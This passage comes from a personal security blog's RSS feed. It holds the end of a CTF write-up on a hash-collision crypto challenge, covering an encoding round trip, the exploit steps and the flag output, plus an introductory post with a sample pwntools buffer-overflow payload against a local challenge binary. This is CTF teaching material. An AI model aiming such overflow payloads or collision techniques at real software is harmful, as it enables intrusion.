<h2 id="one-more-wrinkle-encodings">One more wrinkle: encodings<a class="anchor" aria-hidden="true" tabindex="-1" href="#one-more-wrinkle-encodings">#</a></h2>
<p>The server does <code>input()</code> (which UTF-8 decodes) and then <code>.encode("latin-1")</code> before hashing. To make it hash <em>exactly</em> my raw bytes <code>M</code>, I sent:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">M.decode(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"latin-1"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">).encode(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"utf-8"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span></code></pre>
<p>High bytes travel as valid 2-byte UTF-8 sequences, <code>input()</code> decodes them back to the right code points, and <code>latin-1</code> turns them back into the original bytes. Round trip complete.</p>
<h2 id="putting-it-together">Putting it together<a class="anchor" aria-hidden="true" tabindex="-1" href="#putting-it-together">#</a></h2>
<ol>
<li><code>program</code> → register collision block <strong>A</strong></li>
<li>Do the <code>none</code>/<code>decrease</code> dance to reach 468</li>
<li>Send collision block <strong>B</strong></li>
</ol>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>$ python exploit.py</span></span>
<span class="line"><span>Wow! You earned the flag: bronco{ple4s3_d0nt_l3ak_fl4g}</span></span></code></pre>
<p>📂 Full writeup, <code>checker.py</code> and <code>exploit.py</code> with the embedded collision pair: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/crypto/bronco-ctf-2026/blorg%20multiplier">ctf-writeups/crypto/…/blorg multiplier</a></p>]]></content:encoded>
    </item>
    <item>
      <title>Hello, world 👋</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/hello-world/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/hello-world/</guid>
      <pubDate>Thu, 26 Nov 2026 00:00:00 GMT</pubDate>
      <description>A new home for my projects and writeups, and what I plan to write about here.</description>
      <category>meta</category>
      <content:encoded><![CDATA[<p>Welcome to my little corner of the internet! This site is where I'll keep my <strong>projects</strong> and write about the things I break and build.</p>
<h2 id="what-to-expect">What to expect<a class="anchor" aria-hidden="true" tabindex="-1" href="#what-to-expect">#</a></h2>
<ul>
<li><strong>CTF writeups</strong>: the interesting ones get a proper post here; the rest live in my <a href="https://github.com/MoriartyPuth/ctf-writeups">writeups repo</a></li>
<li><strong>Tool deep-dives</strong>: how things like <a href="https://portfolio.puthcambo.workers.dev/projects/aura/">AURA</a> and <a href="https://portfolio.puthcambo.workers.dev/projects/pwnprobe/">PwnProbe</a> work under the hood</li>
<li><strong>Hardware side quests</strong>: radios, microcontrollers, and whatever <a href="https://portfolio.puthcambo.workers.dev/projects/wraith/">WRAITH</a> picks up next</li>
</ul>
<p>Code blocks get syntax highlighting, so expect a lot of these:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> pwn </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">import</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> *</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">io </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> process(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"./chall"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">io.sendline(</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">b</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"A"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> *</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 72</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> +</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> p64(</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">401196</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">))</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">io.interactive()</span></span></code></pre>
<p>There's an <a href="https://portfolio.puthcambo.workers.dev/blog/feed.xml">RSS feed</a> if you want to follow along. See you in the next post!</p>]]></content:encoded>
    </item>
  </channel>
</rss>
